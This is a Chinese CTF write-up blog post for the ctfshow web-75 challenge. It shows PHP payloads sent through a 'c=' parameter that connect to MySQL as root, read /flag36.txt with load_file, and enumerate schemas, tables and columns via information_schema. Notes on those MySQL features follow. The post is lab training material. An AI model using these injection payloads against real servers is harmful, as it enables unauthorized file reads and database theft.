首页 > 其他分享 >ctfshow web-75

ctfshow web-75

时间:2024-11-19 13:17:56浏览次数:3  
标签:web NAME 数据库 schema 75 ctfshow row root SCHEMA

 由于本题过滤了strlen,没办法使用web72的uaf的方式绕过命令执行的限制

连接数据库查询,通过构造一个可以连接数据库的php脚本,来查询数据库内的数据

try {
    // 使用PDO(PHP Data Objects)创建一个新的数据库连接对象,指定DSN、用户名(root)和密码(root)
    $dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');
    
​
    // 执行一个SQL查询,从指定的文件(/flag36.txt)中读取内容
    foreach($dbh->query('select load_file("/flag36.txt")') as $row) {  
        // 输出读取到的内容,并追加一个竖线(|)
        echo($row[0])."|";
    }
    
    // 将数据库连接对象设置为null,关闭连接
    $dbh = null;
​
} catch (PDOException $e) {
    // 如果发生PDO异常,输出错误信息
    echo $e->getMessage();
    // 终止脚本执行
    die();
}
​
​

这段代码的目的是从 MySQL 数据库所在服务器的文件系统中读取一个名为 /flag36.txt 的文件,并将文件内容输出到网页。

这里我们是直接通过information_schema这个虚拟数据库查询的,通过这个我们可以查询所有的数据库内容,从而得到flag,如果我们知道我们想找的数据所在的数据库名,也可以直接在那个数据库查找,这就需要我们查一下有哪些数据库了

c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");
foreach($rs as $row){
        echo($row[0])."|"; 
}exit();

可以看到我们通过这个方式查询了这个题中的数据管理系统中有哪些数据库名,

// 数据源名称(DSN),指定数据库类型、主机名和数据库名称
$dsn = "mysql:host=localhost;dbname=information_schema";
​
// 使用PDO(PHP Data Objects)创建一个新的数据库连接对象,使用指定的DSN、用户名(root)和密码(root)
$db = new PD
​
O($dsn, 'root', 'root');
​
// 执行一个SQL查询,从SCHEMATA表中选择并连接所有数据库名称(SCHEMA_NAME),返回一个结果集
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");
​
// 遍历结果集中的每一行,并输出第一个字段(即连接的数据库名称),然后追加一个竖线(|)
foreach($rs as $row){
    echo($row[0])."|";
}
​
// 终止脚本执行
exit();

通过这个查询结果我们发现了ctftraining这个数据库,我们知道了数据库名,就可以进一步构造sql语句进一步查询表名

c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'");
foreach($rs as $row){
        echo($row[0])."|"; 
}exit();

接着通过FLAG_TABLE查询列名

c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(column_name) from information_schema.columns where table_schema='ctftraining'and table_name='FLAG_TABLE'");
foreach($rs as $row){
        echo($row[0])."|"; 
}exit();

查询具体数据

c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(FLAG_COLUMN) from FLAG_TABLE");
foreach($rs as $row){
        echo($row[0])."|"; 
}exit();

这里发现查不到,不过也没关系,毕竟我们知道了flag所在的数据库名

load_file

LOAD_FILE() 是 MySQL 中的一个函数,用于读取文件的内容。它可以用于将外部文件的内容加载到 MySQL 中,并返回该文件的内容作为一个字符串。

MySQL是一个管理数据库的系统, 遵循 SQL(结构化查询语言)标准,用于处理数据库中的数据, 通过 MySQL,可以管理多个数据库,每个数据库中可以包含多个表和记录等数据元素。 。

LOAD_FILE() 函数读取指定文件的内容,并将其作为一个字符串返回。通常用于将文件的内容加载到数据库中进行进一步的处理,比如插入到表中或用于文本字段。

读取文本文件: 假设有一个文本文件 /tmp/sample.txt,内容如下:

Hello, this is a sample text.

你可以使用 LOAD_FILE() 读取文件内容:

SELECT LOAD_FILE('/tmp/sample.txt');

返回结果将是:

'Hello, this is a sample text.'
INFORMATION_SCHEMA

INFORMATION_SCHEMA 是 MySQL 中的一个虚拟数据库 , 它提供了一组只读的系统视图和表格,用于查询数据库系统的元数据 , 提供了访问数据库系统元数据的标准接口。它允许你查询关于数据库、表、列、索引、权限等方面的信息,通常用于数据库管理、维护和调试操作。

INFORMATION_SCHEMA 用于查询数据库的结构和对象的属性,例如:

  • 获取数据库和表的列表

  • 查询表的列定义和数据类型

  • 获取索引的信息

  • 查询用户的权限

  • 查询表和列的约束信息(如主键、外键)

列出所有数据库

sql复制代码SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;

列出指定数据库中的所有表

SELECT TABLE_NAME 
FROM INFORMATION_SCHEMA.TABLES 
WHERE TABLE_SCHEMA = 'your_database_name';

获取指定表的所有列信息

SELECT COLUMN_NAME, DATA_TYPE, IS_NULLABLE, COLUMN_DEFAULT
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME = 'your_table_name' AND TABLE_SCHEMA = 'your_database_name';

查看表的索引

SELECT TABLE_NAME, INDEX_NAME, COLUMN_NAME
FROM INFORMATION_SCHEMA.STATISTICS
WHERE TABLE_SCHEMA = 'your_database_name' AND TABLE_NAME = 'your_table_name';

查看用户的权限

SELECT * 
FROM INFORMATION_SCHEMA.USER_PRIVILEGES
WHERE GRANTEE LIKE "'your_user'@'%'";

标签:web,NAME,数据库,schema,75,ctfshow,row,root,SCHEMA
From: https://blog.csdn.net/2401_84499636/article/details/143882512

相关文章

  • 推荐一款提供web界面支持内网穿透的任务调度软件jiascheduler
    jiascheduler简体中文 · English一个用rust编写的开源高性能,可扩展,动态配置的任务调度器,支持同时推送用户脚本到数以万计的实例运行,并实时收集执行的结果。jiascheduler执行脚本的节点不需要都在同一个网络,其内部设计了一个精巧的网络穿透模型可以用一个控制台管理不同......
  • 【web】Gin+Go-Micro +Vue+Nodejs+jQuery+ElmentUI 用户模块之登陆功能bug现场调试以
    调试Web应用中的用户登录功能需要一定的技巧和工具支持。在这份指南中,我们将利用Gin、Go-Micro、Vue、Node.js、jQuery和ElementUI,介绍如何调试用户登录功能及其效果演示,涵盖初级、中级和高级用法。初级用法介绍初级阶段以简化的HTML表单和jQuery实现用户登录,并使用Gin框......
  • 使用WebRTC技术搭建小型的视频聊天页面
    目录目录参考资料什么是WebRTC?能做什么?架构图个人理解(类比)核心知识点核心知识点类比ICE框架STUN(协议)NAT(网络地址转换)TURNSDP(会话描述协议)WebRTC的核心API现在开始做饭准备阶段环境准备服务器搭建CoturnTURNserver(开源服务)部署SignalSer......
  • 从零开始搭建web组态
    成果展示:http://www.hcy-soft.com演示地址:若依管理系统(生产环境)一、技术选择目前只有两种选择,canvas和svgCanvas:是一个基于像素的渲染引擎,使用JavaScriptAPI在画布上绘制图像,它的优点包括:Canvas渲染速度快,适合处理大量图像和高度动态的图像。可以直接操作像素,能......
  • Javaweb核⼼之转发-重定向
    【⾯面试必备】请求转发RequestDispatcher你知道多少简介:讲解请求转发RequestDispatcher的知识点什么是请求转发:request.getRequestDispatcher(URL地址).forward(request,response)客户端发送请求,Servlet做出业务逻辑处理理。Servlet调⽤用forword()⽅方法,服务器器Servlet把⽬标......
  • 将打包后的 React或Vue 与 WebApi 部署在同一站点
    前后端分离的开发中,在部署项目时通常会分开进行部署,而这样又很麻烦,需要配置跨域,域名配置等等有一些情景下,我们需要采用更为方便的方式去部署,可以参考下方方法进行调整准备WebApi项目一个打包好的前端项目React或VUE都可以调整为WebApi项目新增wwwroot文件夹,用于放置前......
  • 提升网站性能与用户体验:全面解析与优化 Web Vitals 核心指标
    文章目录前言一、LargestContentfulPaint(LCP)二、FirstInputDelay(FID)三、CumulativeLayoutShift(CLS)结语前言在当今竞争激烈的互联网环境中,网站性能和用户体验成为了决定网站成败的关键因素。Google推出的WebVitals指标体系,通过三个核心指标——L......
  • JAVA WEB 实现文件夹上传(保留目录结构)分享
    需求:大文件上传,批量上传,断点续传,文件夹上传,大文件下载,批量下载,断点下载,文件夹下载文件夹:上传下载需要支持层级结构,采用非压缩方式文件大小:100G前端:vue2,vue3,vue-cli,jquery,html,webuploader后端:JSP,springbootweb服务:tomcat数据库:mysql,oracle,达梦,国产化数据库服务......
  • 0基础转行网络安全,选择pwn还是web?
    随着5G、工业互联网、人工智能等新兴领域技术的兴起,从而快速推动了各国从人人互联迈向万物互联的时代。奇安信董事长齐向东曾说过:“如果说5G带来了物联网和人工智能的风口,那么网络安全行业就是风口的平方——风口的风口。"因此,有不少年轻人纷纷想加入网络安全行业,抢占先......
  • 计算机毕业设计原创定制(免费送源码)Java+B/S+SSM+Web前端开发技术+IDEA+MySQL+Navicat
    摘 要信息化社会内需要与之针对性的信息获取途径,但是途径的扩展基本上为人们所努力的方向,由于站在的角度存在偏差,人们经常能够获得不同类型信息,这也是技术最为难以攻克的课题。针对有风小院等问题,对有风小院信息管理进行研究分析,然后开发设计出有风小院系统以解决问题。有......